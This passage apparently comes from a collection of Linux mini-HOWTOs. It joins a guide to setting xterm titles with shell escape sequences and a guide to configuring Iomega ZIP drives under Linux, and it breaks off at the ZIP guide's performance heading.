Trademarks are owned by their owners. There is no warranty on the accuracy and/or the usefulness of the information given in this document.


How to change the title of an xterm

Ric Lister, ric@giccs.georgetown.edu

v2.0, 27 October 1999

This document explains how to use escape sequences to dynamically change window and icon titles of an xterm. Examples are given for several shells, and the appendix gives escape sequences for some other terminal types.

1. Where to find this document

2. Static titles

3. Dynamic titles

  • 3.1 xterm escape sequences
  • 3.2 Printing the escape sequences

4. Examples for different shells

  • 4.1 zsh
  • 4.2 tcsh
  • 4.3 bash
  • 4.4 ksh
  • 4.5 csh

5. Printing the current job name

  • 5.1 zsh
  • 5.2 Other shells

6. Appendix: escapes for other terminal types

  • 6.1 IBM aixterm
  • 6.2 SGI wsh, xwsh and winterm
  • 6.3 Sun cmdtool and shelltool
  • 6.4 CDE dtterm
  • 6.5 HPterm

7. Appendix: examples in other languages

  • 7.1 C
  • 7.2 Perl

8. Credits


How to change the title of an xterm: Where to find this document

 Next Previous Contents

1. Where to find this document

This document is now part of the Linux HOWTO Index and can be found at http://sunsite.unc.edu/LDP/HOWTO/mini/Xterm-Title.html.

The latest version can always be found in several formats at http://www.giccs.georgetown.edu/~ric/howto/Xterm-Title/.

This document supercedes the original howto written by Winfried Trümper.


How to change the title of an xterm: Static titles

 Next Previous Contents

2. Static titles

A static title may be set for any of the terminals xterm, color-xterm or rxvt, by using the -T and -n switches:

xterm -T "My XTerm's Title" -n "My XTerm's Icon Title"


How to change the title of an xterm: Dynamic titles

 Next Previous Contents

3. Dynamic titles

Many people find it useful to set the title of a terminal to reflect dynamic information, such as the name of the host the user is logged into, the current working directory, etc.

3.1 xterm escape sequences

Window and icon titles may be changed in a running xterm by using XTerm escape sequences. The following sequences are useful in this respect:

  • ESC]0;stringBEL -- Set icon name and window title to string
  • ESC]1;stringBEL -- Set icon name to string
  • ESC]2;stringBEL -- Set window title to string
where ESC is the escape character (\033), and BEL is the bell character (\007).

Printing one of these sequences within the xterm will cause the window or icon title to be changed.

Note: these sequences apply to most xterm derivatives, such as nxterm, color-xterm and rxvt. Other terminal types often use different escapes; see the appendix for examples. For the full list of xterm escape sequences see the file ctlseq2.txt, which comes with the xterm distribution, or xterm.seq, which comes with the rxvt distribution.

3.2 Printing the escape sequences

For information that is constant throughout the lifetime of this shell, such as host and username, it will suffice to simply echo the escape string in the shell rc file:

echo -n "\033]0;${USER}@${HOST}\007"
should produce a title like username@hostname, assuming the shell variables $USER and $HOST are set correctly. The required options for echo may vary by shell (see examples below).

For information that may change during the shell's lifetime, such as current working directory, these escapes really need to be applied every time the prompt changes. This way the string is updated with every command you issue and can keep track of information such as current working directory, username, hostname, etc. Some shells provide special functions for this purpose, some don't and we have to insert the title sequences directly into the prompt string. This is illustrated in the next section.


How to change the title of an xterm: Examples for different shells

 Next Previous Contents

4. Examples for different shells

Below we provide an set of examples for some of the more common shells. We start with zsh as it provides several facilities that make our job much easier. We will then progress through increasingly difficult examples.

In all the examples we test the environment variable $TERM to make sure we only apply the escapes to xterms. We test for $TERM=xterm*; the wildcard is because some variants (such as rxvt) can set $TERM=xterm-color.

We should make an extra comment about C shell derivatives, such as tcsh and csh. In C shells, undefined variables are fatal errors. Therefore, before testing the variable $TERM, it is necessary to test for its existence so as not to break non-interactive shells. To achieve this you must wrap the examples below in something like:

  if ($?TERM) then
      ...
  endif
(In our opinion this is just one of many reasons not to use C shells. See Csh Programming Considered Harmful for a useful discussion).

The examples below should be used by inserting them into the appropriate shell initialisation file; i.e. one that is sourced by interactive shells on startup. In most cases this is called something like .shellrc (e.g. .zshrc, .tcshrc, etc).

4.1 zsh

zsh provides some functions and expansions, which we will use:

precmd ()   a function which is executed just before each prompt
chpwd ()    a function which is executed whenever the directory is changed
\e          escape sequence for escape (ESC)
\a          escape sequence for bell (BEL)
%n          expands to $USERNAME
%m          expands to hostname up to first '.'
%~          expands to directory, replacing $HOME with '~'
There are many more expansions available: see the zshmisc man page.

Thus, the following will set the xterm title to "username@hostname: directory":

case $TERM in
    xterm*)
        precmd () {print -Pn "\e]0;%n@%m: %~\a"}
        ;;
esac
This could also be achieved by using chpwd() instead of precmd(). The print builtin works like echo, but gives us access to the % prompt escapes.

4.2 tcsh

tcsh has some functions and expansions similar to those of zsh:

precmd ()   a function which is executed just before each prompt
cwdcmd ()   a function which is executed whenever the directory is changed
%n          expands to username
%m          expands to hostname
%~          expands to directory, replacing $HOME with '~'
%#          expands to '>' for normal users, '#' for root users
%{...%}     includes a string as a literal escape sequence

Unfortunately, there is no equivalent to zsh's print command allowing us to use prompt escapes in the title string, so the best we can do is to use shell variables (in ~/.tcshrc):

switch ($TERM)
    case "xterm*":
        alias precmd 'echo -n "\033]0;${HOST}:$cwd\007"'
        breaksw
endsw
However, this gives the directory's full path instead of using ~. Instead you can insert the string in the prompt:
switch ($TERM)
    case "xterm*":
        set prompt="%{\033]0;%n@%m:%~\007%}tcsh%# "
        breaksw
    default:
        set prompt="tcsh%# "
        breaksw
endsw
which sets a prompt of "tcsh% ", and an xterm title and icon of "username@hostname: directory". Note that the "%{...%}" must be placed around escape sequences (and cannot be the last item in the prompt: see the tcsh man page for details).

4.3 bash

bash supplies a variable $PROMPT_COMMAND which contains a command to execute before the prompt. This example sets the title to username@hostname: directory:

PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"'
where \033 is the character code for ESC, and \007 for BEL.

Note that the quoting is important here: variables are expanded in "...", and not expanded in '...'. So $PROMPT_COMMAND is set to an unexpanded value, but the variables inside "..." are expanded when $PROMPT_COMMAND is used.

However, $PWD produces the full directory path. If we want to use the ~ shorthand we need to embed the escape string in the prompt, which allows us to take advantage of the following prompt expansions provided by the shell:

\u          expands to $USERNAME
\h          expands to hostname up to first '.'
\w          expands to directory, replacing $HOME with '~'
\$          expands to '$' for normal users, '#' for root
\[...\]     embeds a sequence of non-printing characters

Thus, the following produces a prompt of bash$ , and an xterm title of username@hostname: directory:

case $TERM in
    xterm*)
        PS1="\[\033]0;\u@\h: \w\007\]bash\\$ "
        ;;
    *)
        PS1="bash\\$ "
        ;;
esac
Note the use of \[...\], which tells bash to ignore the non-printing control characters when calculating the width of the prompt. Otherwise line editing commands get confused while placing the cursor.

4.4 ksh

ksh provides little in the way of functions and expansions, so we have to insert the escape string in the prompt to have it updated dynamically. This example produces a title of username@hostname: directory and a prompt of ksh$ .

case $TERM in
    xterm*)
        HOST=`hostname`
        PS1='^[]0;${USER}@${HOST}: ${PWD}^Gksh$ '
        ;;
    *)
        PS1='ksh$ '
        ;;
esac
However, $PWD produces the full directory path. We can remove the prefix of $HOME/ from the directory using the ${...##...} construct. We can also use ${...%%...} to truncate the hostname:
HOST=`hostname`
HOST=${HOST%%.*}
PS1='^[]0;${USER}@${HOST}: ${PWD##${HOME}/}^Gksh$ '
Note that the ^[ and ^G in the prompt string are single characters for ESC and BEL (can be entered in emacs using C-q ESC and C-q C-g).

4.5 csh

This is very difficult indeed in csh, and we end up doing something like the following:

switch ($TERM)
    case "xterm*":
        set host=`hostname`
        alias cd 'cd \!*; echo -n "^[]0;${user}@${host}: ${cwd}^Gcsh% "'
        breaksw
    default:
        set prompt='csh% '
        breaksw
endsw
where we have had to alias the cd command to do the work of sending the escape sequence. Note that the ^[ and ^G in the string are single characters for ESC and BEL (can be entered in emacs using C-q ESC and C-q C-g).

Notes: on some systems hostname -s may be used to get a short, rather than fully-qualified, hostname. Some users with symlinked directories may find `pwd` (backquotes to run the pwd command) gives a more accurate path than $cwd.


How to change the title of an xterm: Printing the current job name

 Next Previous Contents

5. Printing the current job name

Often a user will start a long-lived foreground job such as top, an editor, an email client, etc, and wishes the name of the job to be shown in the title. This is a more thorny problem and is only achieved easily in zsh.

5.1 zsh

zsh provides an ideal builtin function for this purpose:

preexec()   a function which is just before a command is executed
$*,$1,...   arguments passed to preexec()
Thus, we can insert the job name in the title as follows:
case $TERM in
    xterm*)
      preexec () {
        print -Pn "\e]0;$*\a"
      }
    ;;
esac
Note: the preexec() function appeared around version 3.1.2 of zsh, so you may have to upgrade from an earlier version.

5.2 Other shells

This is not easy in other shells which lack an equivalent of the preexec() function. If anyone has examples please email them to the author.


How to change the title of an xterm: Appendix: escapes for other terminal types

 Next Previous Contents

6. Appendix: escapes for other terminal types

Many modern terminals are descended from xterm or rxvt and support the escape sequences we have used so far. Some proprietary terminals shipped with various flavours of unix use their own escape sequences.

6.1 IBM aixterm

aixterm recognises the xterm escape sequences.

6.2 SGI wsh, xwsh and winterm

These terminals set $TERM=iris-ansi and use the following escapes:

  • ESCP1.ystringESC\ Set window title to string
  • ESCP3.ystringESC\ Set icon title to string
For the full list of xwsh escapes see the xwsh(1G) man page.

The Irix terminals also support the xterm escapes to individually set window title and icon title, but not the escape to set both.

6.3 Sun cmdtool and shelltool

cmdtool and shelltool both set $TERM=sun-cmd and use the following escapes:

  • ESC]lstringESC\ Set window title to string
  • ESC]LstringESC\ Set icon title to string
These are truly awful programs: use something else.

6.4 CDE dtterm

dtterm sets $TERM=dtterm, and appears to recognise both the standard xterm escape sequences and the Sun cmdtool sequences (tested on Solaris 2.5.1, Digital Unix 4.0, HP-UX 10.20).

6.5 HPterm

hpterm sets $TERM=hpterm and uses the following escapes:

  • ESC&f0klengthDstring Set window title to string of length length
  • ESC&f-1klengthDstring Set icon title to string of length length

A basic C program to calculate the length and echo the string looks like this:

#include <string.h>
int main(int argc, char *argv[])
{
    printf("\033&f0k%dD%s", strlen(argv[1]), argv[1]);
    printf("\033&f-1k%dD%s", strlen(argv[1]), argv[1]);
    return(0);
}

We may write a similar shell-script, using the ${#string} (zsh, bash, ksh) or ${%string} (tcsh) expansion to find the string length. The following is for zsh:

case $TERM in
    hpterm)
        str="\e]0;%n@%m: %~\a"
        precmd () {print -Pn "\e&f0k${#str}D${str}"}
        precmd () {print -Pn "\e&f-1k${#str}D${str}"}
        ;;
esac


How to change the title of an xterm: Appendix: examples in other languages

 Next Previous Contents

7. Appendix: examples in other languages

It may be useful to write a small program to print an argument to the title using the xterm escapes. Some examples are provided below.

7.1 C

#include <stdio.h>

int main (int argc, char *argv[]) {
  printf("%c]0;%s%c", '\033', argv[1], '\007');
  return(0);
}

7.2 Perl

#!/usr/bin/perl
print "\033]0;@ARGV\007";


How to change the title of an xterm: Credits

 Next Previous Contents

8. Credits

Thanks to the following people who have provided advice, errata, and examples for this document.

Paul D. Smith <psmith@BayNetworks.COM> and Christophe Martin <cmartin@ipnl.in2p3.fr> both pointed out that I had the quotes the wrong way round in the bash $PROMPT_COMMAND. Getting them right means variables are expanded dynamically.

Paul D. Smith <psmith@BayNetworks.COM> suggested the use of \[...\] in the bash prompt for embedding non-printing characters.

Christophe Martin <cmartin@ipnl.in2p3.fr> provided the solution for ksh.

Keith Turner <keith@silvaco.com> supplied the escape sequences for Sun cmdtool and shelltool.

Jean-Albert Ferrez <ferrez@dma.epfl.ch> pointed out some inconsistencies in the use of "PWD" and "$PWD", and in the use of "\" vs "\\".

Bob Ellison <papillo@hpellis.fc.hp.com> and Jim Searle <jims@broadcom.com> tested dtterm on HP-UX.

Teng-Fong Seak <seak@drfc.cad.cea.fr> suggested the -s option for hostname, use of `pwd`, and use of echo under csh.

Trilia <trilia@nmia.com> suggested examples in other languages.

Brian Miller <bmiller@telstra.com.au> supplied the escape sequences and examples for hpterm.

Lenny Mastrototaro <lenny@click3x.com> explained the Irix terminals' use of xterm escape sequences.

Paolo Supino <paolo@init.co.il> suggested the use of \\$ in the bash prompt.


Zip Drive Mini-HOWTO

Kyle Dansie, dansie@ibm.net

v2.5, 07 March 2002

This Document provides a quick reference quide on setting up and using the Iomega ZIP drive with Linux.

1. Introduction

  • 1.1 Home of this document

2. Quick Start

3. Configuring a kernel for the ZIP drive

  • 3.1 SCSI version

4. The ZIP drive

  • 4.1 Parallel port version Zip100
  • 4.2 SCSI external version
  • 4.3 The SCSI Internal version
  • 4.4 The ZIP Plus - IMM driver
  • 4.5 ATAPI version
  • 4.6 IDE version
  • 4.7 USB version
  • 4.8 ZIP250 version

5. Troubleshooting Install

6. Using the ZIP drive

  • 6.1 Fdisk, mke2fs, mount, etc.
  • 6.2 An existing DOS formatted disk
  • 6.3 Re-format as a native Linux disk
  • 6.4 fstab entries
  • 6.5 The ZIP Tools disk

7. Performance

8. Frequently asked questions

  • 8.1 Can I plug a printer into the parallel ZIP drive ?
  • 8.2 Do you plan to support EPP/ECP ports in PPA ?
  • 8.3 Can I run Linux from a ZIP drive ?
  • 8.4 Can I boot from the ZIP drive ?
  • 8.5 Why does Iomega use partition number 4 ?
  • 8.6 How can I have the disk mounted at boot time ?
  • 8.7 What happens if there is no disk inserted when I boot ?
  • 8.8 Can I use the parallel drive as a real SCSI disk ?
  • 8.9 Can PPA be used with Iomega's parallel port tape drives ?
  • 8.10 Will PPA work with the parallel port SyQuest EZ135 ?

9. Getting more current information


Zip Drive Mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

The Iomega ZIP drive is a popular, removable media disk drive. It is avaliable in several versions.

  • Parallel Port
  • SCSI
  • IDE - ATAPI
  • Plus
The most popular seems to be the Parallel port version. It has been around a long time and it is low cost. The SCSI version has also been around for a while but it needs a scsi card that many people do not have already, so it it not quite as popular. The ATAPI version now seems to be more available. The Plus is the newer version of the ZIP drive. It has the capability to detect what port its plugged into, scsi or parallel. This document will focus on the Parallel port version, but also offer some tips for other versions.

This document incorporates information collected and published by others, in particular:

  • Grant Guenther, grant@torque.net
  • Scot Wilcoxon, sewilco@fielday.mn.org
  • Joe Mack, mack@ncifcrf.gov
  • Byron Jeff, byron@cc.gatech.edu

I thank them for their important contributions, and accept responsibility for any errors that I have introduced.

A special thanks to Grant Guenther who wrote the 0.26 version of the ppa program and also wrote the original version of this HOWTO. If you find any mistakes or oversights in this document, please let me know. dansie@ibm.net

1.1 Home of this document

The most current version of this document will reside at http://www.njtcom.com/dansie/zip-drive.html


Zip Drive Mini-HOWTO: Quick Start

 Next Previous Contents

2. Quick Start

OK so you have purchased a new zip drive and now you want to use it. Some distributions have the modules already built. You can try insmod ppa for starters. (Make sure you have it hooked up and a disk inserted). If the ppa program is not there, then configure the kernel. My machine has 2 parallel ports, one for the zip and one for the printer. This makes things easy, no cable switching.

Configure the kernel:

  • cd /usr/src/linux
  • make xconfig
  • scsi support = Y
  • scsi disk support = Y
  • Iomega zip support as a module
  • printer support also as a module
  • save it and exit
  • make dep
  • make clean
  • make zImage or zlilo or zdisk
  • make modules
  • make modules_install

Now to use the drive:

  • load the module insmod ppa
  • build a mounting point. mkdir /zip
  • insert a preformatted windoze type disk into the drive.
  • mount the disk. mount -t vfat /dev/sda4 /zip
  • use any standard file commands as in l /zip, ls /zip, df, cp,
  • when you are finished umount /zip

If you had trouble with any of the previous steps, see the following sections for more detailed instructions.


Zip Drive Mini-HOWTO: Configuring a kernel for the ZIP drive

 Next Previous Contents

3. Configuring a kernel for the ZIP drive

To use the ZIP drive with Linux, you must have a kernel configured with support for the SCSI system, support for SCSI disks, and support for the host adapter you are using. If you are not familiar with building a kernel, you should read up on the Linux Kernel HOWTO for information.

You must begin the process of building a kernel with the configuration step. Here, you identify the specific kernel components that you need. First step cd /usr/src/linux. There are several ways to actually do the configuration. Under X windows I use make xconfig. There is also make menuconfig or make config for command line prompts. The easiest way is with xconfig.

In the section SCSI Support set SCSI support = Y. Also set SCSI disk support = Y.

In the section SCSI low-level drivers you want to set IOMEGA Parallel Port ZIP drive SCSI support = M. The M stands for modules.

In the section Character Devices find and set Parallell Printer support = M

If you are a bit unsure about any of this, use zdisk for the make step. This will build and install the kernel to floppy. If you screw it up somehow, you still have a good bootable system on the hard drive.

Now build the kernel with these steps:

  • make dep
  • make clean
  • make zImage or zlilo or zdisk
  • make modules
  • make mdoules_install

hint if you want to create an output log of the make zImage step you can use

   make zImage 2>&1 | tee zImage.out
This is really a good thing to do, if you have compile errors or other conflicts in the configuration, now you have a file with the error messages or compile errors. This makes asking for help much easier.

You also need to load the modules somewhere. On my system I just added a couple of lines to the boot.local file.

  • insmod ppa
  • insmod lp
My system is Suse 5.3 and this file is in /etc/rc.d. The location of this file will vary by distribution, but there will be a file somewhere, for local changes to be made at start up time. You should use the file that is applicable for your distribution.

Now shutdown and reboot.

You can also build all or part of the SCSI system as modules. If you do this, be sure to load scsi.o, then sd.o and finally the driver for your host adapter, before you try to access the ZIP drive.

3.1 SCSI version

If you already have a SCSI disk in your system, and you are connecting the ZIP drive to the same controller, there is no additional kernel configuration required. Otherwise, you will most likely have to build a new kernel.

If you are building a kernel to support the SCSI version of the ZIP drive, you should select SCSI support and SCSI disk support. You must also select a driver for the interface card you will use. If you have a ZIP Zoom, select the aha152x driver.

Be sure to read the documentation for your adapter in the SCSI HOWTO and any README files in the drivers/scsi subdirectory of the Linux source tree. Pay attention to command line parameters that you might have to use to help the kernel initialise your adapter.

For instance, if you are using the ZIP Zoom card, you will have to add something like

          aha152x=0x340,11,7,1

to the boot command (or include it in your /etc/lilo.conf file in an append clause). This tells the driver the port address and IRQ of your ZIP Zoom card - be sure to use the numbers that correspond to the way your jumpers are set.

You should also read Paul Gortmaker's BOOTPROMPT HOWTO for information about configuring your kernel with LILO or LOADLIN.


Zip Drive Mini-HOWTO: The ZIP drive

 Next Previous Contents

4. The ZIP drive

There are at least five or six versions of the Iomega ZIP 100 drive. The Iomega page for these drives is at http://www.iomega.com/product/zip/ They all accept special cartridges resembling a 3.5" floppy disk that hold 100 megabytes of data. The disks actually hold 96 cylinders of 2048 sectors each holding 512 bytes. This would normally be called 96 Megabytes.

The external drive comes in these types:

  • Parallel port
  • SCSI
  • Plus

The internal drive comes in these types:

  • SCSI
  • IDE
  • ATAPI

The internal versions can be mounted in 3.5 or 5.25 drive slots. The external versions are in a small blue plastic case enclosure, powered by an external wall brick.

All the drives have a large pushbutton on the front of the drive. This is used to eject the disk. Linux locks the door while using the drive, but if the button is pressed while the door is locked, the ZIP drive will remember and eject the disk as soon as the software unlocks it.

4.1 Parallel port version Zip100

This drive is described at http://www.iomega.com/product/zip/zippp.html

The Linux driver comes in a couple of different versions. The 0.26 version of the ppa.c program ships standard with the 2.0.x kernels. If your kernel is older than 2.0.35 then you have the OLD program. Check out

David Campbell's page for the more current version of this program. At the time of this writing the current version is 1.42.

The auto configuration features of the 1.4x program are very nice. You do NOT have to tell the progam what the base address of the parallel port is. The program will prob the standard address's for the parallel ports and attach the drive when it finds it.

The most common problem is to load the lp printer module before the ppa program. The ppa program must be loaded before the lp module. The lp module will tie up the port that the zip drive needs, this is why the ppa progam must be loaded first.

Also be sure that all cables are firmly attached.

If you did everything right :) you will see messages like this at boot time.

  VFS: Mounted root (ext2 filesystem) readonly.
  Adding Swap: 102528k swap-space (priority -1)
  ppa: Version 1.42
  ppa: Probing port 03bc
  ppa: Probing port 0378
  ppa:     SPP port present
  ppa:     EPP 1.9 with hardware direction protocol
  ppa: Found device at ID 6, Attempting to use EPP 32 bit
  ppa: Communication established with ID 6 using EPP 32 bit
  ppa: Probing port 0278
  ppa:     SPP port present
  scsi0 : Iomega parport ZIP drive
  scsi : 1 host.
    Vendor: IOMEGA    Model: ZIP 100           Rev: D.09
    Type:   Direct-Access                      ANSI SCSI revision: 02
  Detected scsi removable disk sda at scsi0, channel 0, id 6, lun 0
  SCSI device sda: hdwr sector= 512 bytes. Sectors= 196608 [96 MB] [0.1 GB]
  sda: Write Protect is off
    sda: sda4
  lp2 at 0x0278, (polling)

You can view these messages with dmesg | more. You can save the messages to a file with dmesg > dmesg.txt. This is often usefull if you are trying to debug the installation.

Also see section Getting more information

4.2 SCSI external version

This drive is described at http://www.iomega.com/product/zip/zipscsi.html

The external SCSI version of the ZIP drive has two DB25F connectors, and two configuration switches. One switch selects the drive's target address. The choice is limited to target 5 or 6. The other enables an internal terminator, in case the drive is the last one on a chain. The 25 pin SCSI connectors use the familiar Macintosh style wiring. The drive is shipped with a Macintosh type cable, but standard cables and converters are easily obtained if you are using a host adapter with a Centronics or high-density connector.

I have not seen an internal SCSI drive, but I would expect it to have a standard 50 pin DIP header SCSI connector and the same two switches.

Make sure that the target address you choose does not conflict with any other SCSI devices you may have on the same bus. Also be sure that the physically last drive in a chain has termination enabled, or an external terminator installed.

If you have an internal SCSI disk or CD-rom, and you connect your ZIP drive to the existing adapter, you should check to see if there are any terminators on the card that must be removed. Only the two extreme ends of the SCSI bus should be terminated. If your bus is partly internal and partly external, there should be one terminator on the last external device and one on the last internal device, but no terminators on the adapter card itself.

Be sure that all cables are firmly attached.

The kernel configuration is much the same as the internel version. See the next section SCSI Internal version for an example configuration.

The ZIP ZOOM host adapter

Iomega markets a SCSI host adapter under the name ZIP Zoom. This is actually based on the design of the Adaptec AHA1520 family of adapters. It has an external Macintosh type DB25F connector, compatible with the cable that comes with the ZIP drive.

Linux supports this adapter with the aha152x driver.

4.3 The SCSI Internal version

Install hardware as described in the "Installation and Reference Guide" noting which SCSI ID, IRQ and I/O Port Address are being used. (You'll need this info later.) Things will go smother if the drive and adapter card use different SCSI ID's.

Beware The zip zoom card is hardwired for scsi ID number 7. The scsi id in the command line below is for the card, not the drive. The card and the drive must use different scsi id numbers. For example if the card uses 7 then use 5 or some other number for the drive.

Recompile the kernel after configuring it to include 'SCSI', 'SCSI disk' and 'AHA152X/2825' support. INSTALL NEW KERNEL :-(

Determine what your kernel command line is:

aha152x=[I/O Port][,IRQ][,SCSI ID][,RECONNECT][,PARITY]

For example :

aha152x=0x140,10,7,1

If your using LILO add your kernel command line to your lilo.conf file using the append command.

(ie. append = "aha152x=0x140,10,7,1")

If your using LOADLIN add your kernel command line to the command you use to initiate loadlin.

  (ie. loadlin c:\vmlinuz root=/dev/hda3 aha152x=0x140,10,5,1 ro)

4.4 The ZIP Plus - IMM driver

This drive is described at http://www.iomega.com/product/zip/zipplus.html

This is a newer version of the external Zip drive. The Zip Plus does not use the ppa driver, instead it uses the imm driver. Philippe Andersson sent in this excellent section on the imm driver for the Zip Plus. Thanks Philippe.

First, rebuild your kernel to include the following items:

  • modules support
  • SCSI support
  • SCSI Disk support
  • lp as a module (if you need it)

You'll notice we didn't select any SCSI low-level driver. That's ok -- we'll build it separately later.

Then, you need to get the driver source code from Dave Campbell's home page ( http://www.torque.net/~campbell/imm.tar.gz). Version 0.18 is the current one at the time of writing (Aug. 98). Unzip it and untar it somewhere (under /usr/src, for instance). Then just run make. You'll get the module you need (imm.o). Copy it to

/lib/modules/$(uname -r)/scsi
.

If your lp module was loaded (check with lsmod(1)), unload it (rmmod lp), then load imm.o (insmod imm) and you're all set basically.

If the ZIP drive was not connected and powered on at the time, you'll get the message "init_module: Device or resource busy", and the module won't load. (By the way, it looks like you don't need to switch your PC off to connect the ZIP -- just make sure the module is not loaded and the drive is turned off, then plug it in, turn the drive on, and load the module.)

If the ZIP was connected and powered on, but there was no disk in, the module will load all right, but you'll get the message that it can't read the disk partition table. This is ok, as the partition table will be automatically read when you insert a ZIP disk.

If there was a ZIP disk in, you'll get the full information displayed, including a list of partitions defined on the disk and its Write Protect status. Here is a sample load-time message:

vger:~# insmod imm
imm: Version 0.18
imm: Probing port 03bc
imm: Probing port 0378
imm:     SPP port present
imm:     ECP with a 16 byte FIFO present
imm:     PS/2 bidirectional port present
imm:     Passed Intel bug check.
imm: Probing port 0278
scsi0 : Iomega ZIP Plus drive
scsi : 1 host.
  Vendor: IOMEGA    Model: ZIP 100 PLUS      Rev: J.66
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi removable disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: hdwr sector= 512 bytes. Sectors= 196608 [96 MB] [0.1 GB]
sda: Write Protect is off
 sda: sda1
vger:~#

One last remark to mention that this version of the driver also locks the drive door while the disk is mounted. If the eject button is pressed in this situation, nothing happens, but the drive "remembers" and ejects the disk as soon as it is dismounted.

4.5 ATAPI version

This drive is described at http://www.iomega.com/product/zip/zipatapi.html

There was an IDE version of the drive produced for a while. I think that for the most part this has been replaced by the ATAPI version.

Donald Stidwell sent in these comments on the ATAPI version. Thanks Don.

I use an ATAPI Zip drive and it works with both 2.0.32 and 2.0.33 kernels. I've used it under both RH 5.0 and OpenLinux 1.2 (my current used distribution). To get it to work under OpenLinux, I just enabled ATAPI floppy support in the kernel. OpenLinux does not have this support compiled in by default.

No other drivers are needed. It will mount as an extended partition on partition 4. I.E, mine mounts on HDB4. I mount it under /mnt/zip as noauto, although I don't suppose there would be any real problem with automounting. I just wonder about ejecting disks. I always dismount the drive before ejecting a cartridge.

There are more detailed instructions for the ATAPI install in the Linux Gazette May 1998 issue. See the 2 cent tip section.

     <url url="http://www.linuxgazette.com/issue28/lg_tips28.html#atapi">

4.6 IDE version

I have not used the IDE version. Eric Backus sent in these comments. Thanks Eric.

I have one of these. It came with my Gateway 2000 computer a year ago. I think most of these were shipped by large OEM companies like this, before the ATAPI version of the ZIP drive was available.

The good news about this drive: no kernel modules or modifications are needed to support it. It looks to the kernel like an IDE hard drive. It worked for me with no effort with kernel 2.0.31 and 2.0.32.

The bad news about this drive: because it doesn't use ATAPI, you can't use the SCSI-to-ATAPI translation, which means you can't use mtools to write-protect disks (or to eject them, for that matter).

4.7 USB version

This drive is described at http://www.iomega.com/product/zip/imac.html

These drives look very cool and the USB interface also looks good. The only problem is that the USB interface for Linux is still under development at this time. So for now, this drive is not usable under Linux. Check this address for updates.

http://peloncho.fis.ucm.es/~inaky/USB/news.html

4.8 ZIP250 version

This drive is desribed at http://www.iomega.com/product/zip/zip250.html

This drive is new as of January 1999. I just bought one of these and it works very well in Linux. Just use the IMM driver from http://www.torque.net/~campbell/imm.tar.gz Set up the driver the same way as the zip plus. Mainly just download the driver, unpack it, and run make. Then copy the imm.o executable to the modules directory. For example /lib/modules/2.0.35/scsi (The 2.0.35 is your kernel version). If you are not sure of the version do uname -r.


Zip Drive Mini-HOWTO: Troubleshooting Install

 Next Previous Contents

5. Troubleshooting Install

If you get errors while giving insmod ppa as given below:

root# insmod ppa
Using /lib/modules/version/kernel/drivers/scsi/ppa.o
/lib/modules/version/kernel/drivers/scsi/ppa.o: unresolved symbol parport_register_device_Rf274b881/lib/modules/version/kernel/drivers/scsi/ppa.o: unresolved symbol parport_unregister_device_Rb0814cd3
/lib/modules/version/kernel/drivers/scsi/ppa.o: unresolved symbol parport_release_Rf8ec22de
/lib/modules/version/kernel/drivers/scsi/ppa.o: unresolved symbol parport_claim_R4c7222c6
/lib/modules/version/kernel/drivers/scsi/ppa.o: unresolved symbol parport_enumerate_Rbc847709
/lib/modules/version/kernel/drivers/scsi/ppa.o: Note: modules without a GPL compatible license cannot use GPLONLY_ symbols

The problem is that you did not add a printer to your system in 'Printer Configuration'. Before you do 'insmod ppa' you MUST add a printer. Click on KDE-Start-Button->System->Printer-Config and add a printer by name 'sometestprinter' using /dev/lp0 (or lp1, lp2 check the output from dmesg | more). Now, test the printer which you added by giving: /etc/rc.d/init.d/lpd restart . If the lpd daemon starts then the printer is configured properly. Now try

bash# insmod ppa
bash# insmod lp
You should not get any errors.


Zip Drive Mini-HOWTO: Using the ZIP drive

 Next Previous Contents

6. Using the ZIP drive

If you have built in all the required components, the kernel should recognize your adapter and drive at boot time. If you are using a loadable module for your driver, the following discussion applies once that module is loaded.

For the most part, the SCSI and parallel versions of the drive behave identically, except that the parallel version is somewhat slower.

6.1 Fdisk, mke2fs, mount, etc.

Once you know the drive name for your ZIP drive, you are set. You can manipulate the drive with the normal Linux disk management commands. fdisk (or perhaps cfdisk) is used to manipulate the partition tables on the disk. mke2fs can be used to format a partition with the ext2 filesystem - the one most commonly used in Linux. mount is used to connect a formatted partition into your directory hierarchy.

You should study the manual pages for these tools if you are not familiar with them. Be warned that there are now several quite different versions of the fdisk program - be careful.

I'll describe two common scenarios.

6.2 An existing DOS formatted disk

If you have a ZIP disk with a DOS file structure that was originally created by Iomega's tools, the partition scan should say that the disk has one partition, /dev/sda4.

You should make a place to mount the disk, lets say /zip, and then mount it as an MS-DOS filesystem:

       mkdir /zip
       mount -t vfat /dev/sda4 /zip

You could also use msdos instead of vfat. vfat supports long filenames where msdos does not. Now, the files on the disk should appear in /zip. While the disk is mounted, you will not be able to remove it. When you are finished with the disk you can umount it to release it and detach it from your directory hierarchy.

       umount /zip

Once you've made the /zip mount point - you don't need to do it again, so you could come back later and mount something else there.

6.3 Re-format as a native Linux disk

If you want to erase a ZIP disk and make a Linux native file system on it. You should use fdisk on the entire disk:

       fdisk /dev/sda

and delete any existing partitions (with the d command). Then create a new partition with the n command, make it primary partition number 1, use w to write the partition table to disk, and quit with q.

Format the partition

       mke2fs /dev/sda1

(The 1 is the number that you gave this partition in fdisk). Now you can mount the disk:

       mount -t ext2 /dev/sda1 /zip

(re-using that mount point we created before).

6.4 fstab entries

The /etc/fstab allows you to configure the mount command. I like to be able to mount and write to the zip disk from any login id on the system. I added 2 lines to the end of the fstab file that look like this.

   /dev/sda1    /zip            ext2            noauto,rw,user,nosuid,sync
   /dev/sda4    /zipdos         vfat            noauto,rw,user,nosuid,sync,mode=0777

These entries assume that you have a /zip and a /zipdos directory. If you want all users ids to read and write, make sure you set the permissions. For exmaple chmod 666 /zip . You must do the chmod as root. The fstab entries also assume that your dos disks are partitioned as 4 (sda4 in my case), and the ext2(linux) disks are partitoned as 1 (sda1). You can read more about the fstab options with man mount

With the fstab entries as above you can mount a dos disk with mount /zipdos If you are using a linux ext2 disk then use the command mount /zip

6.5 The ZIP Tools disk

There is some extra work to be done if you want to use the disk that comes with the ZIP drive. As shipped, the software controlled write protection is enabled. Most people have unlocked the disk under DOS before ever trying to use it with Linux. Linux cannot access a locked disk, and it must be unlocked with Iomega's tools.

A native Linux program to manage the write protection feature, among other things, is expected to be available soon.


Zip Drive Mini-HOWTO: Performance

